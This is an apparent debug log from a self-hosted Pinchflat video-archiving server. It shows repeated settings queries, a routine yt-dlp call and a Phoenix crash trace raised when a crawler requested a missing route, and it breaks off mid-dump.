m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "3BLxx5GpPkQ", "xXW35OmG_2s", "gMMPAjnrsg8", "6k3MCvZcNf0", "kvfyuReITgE", "-T_TIqokEBM", "17qdDkP14Ao", "FPHOLeDqI9o", "-s86EG5s4to", "7ymHZ4ad1zg", "IgrA6UWGE_w", "tA9FzgkzauM", "aqMJUkmPHUw", "cSOvVHmIwUE", "dChU-mIqI0s", "Oka7yNGFBOA", "fH_aZFRA5nQ", "J8NEUFlSRhM", "znzyBp8ruMM", "sRkxPi6IOY8", "MYX7D4TPO-I", "7oIIzbP9mLA", "zuBnPJLV8Zs", "96THecfcRbE", "9fkqORqi1wA", "bCkQhwnTpRI", "ZHt7xfhPsPg", "ZYGsrtIqxLA", "u6hjDgVUeTM", "X9cKnBwcpPE", "A0PL0Q5_AhQ", "7HAodxxPnvg", "LOc26tUJziM", "GTsYWE1QSbA", "tE4_YArfkNM", "PJgHERObbLA", "8T-uZpYUv-s", "n13CZ1XVNJI", "7O_jgUrMUs4", "E-79e3z4q1o", "xCiLvge4XXQ", "EB-HgHFEqeg", "wbbAhhj23Bo", "HjKVJeWks5o", "0m183T8j9wc", "3bUgF8AAGRU", "HaSaDehz2lc", "1n9vqO6R734", "7L-_Jzfzj-Y", ...] 17:42:52.002 [debug] QUERY OK source="settings" db=0.0ms idle=400.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:52.002 [debug] QUERY OK source="settings" db=0.0ms idle=399.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:52.002 [debug] Running yt-dlp command for action: get_media_attributes 17:42:52.002 [debug] QUERY OK source="settings" db=0.0ms idle=399.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:52.003 [debug] QUERY OK source="settings" db=0.0ms idle=399.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:52.003 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:52.003 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/f9/45/f94511eb8f22d65589e4152dcb5218cc0f9f4974ba24262ed643bdf2821efd9c.json --sleep-requests 76 --sleep-interval 74 --sleep-subtitles 83 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:42:56.076 [info] GET /sources/1/force_index 17:42:56.076 [debug] QUERY OK source="settings" db=0.1ms idle=728.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:56.076 [debug] QUERY OK source="settings" db=0.0ms idle=729.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:56.076 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:56.076 [error] #PID<0.30956.0> running PinchflatWeb.Endpoint (connection #PID<0.30955.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/1/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 46552}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30956.0>, params: %{}, path_info: ["sources", "1", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/1/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9xWem5rBCITMABPUi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 46552}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 46552}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30956.0>, params: %{}, path_info: ["sources", "1", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/1/force_index", resp_body: nil, resp (truncated)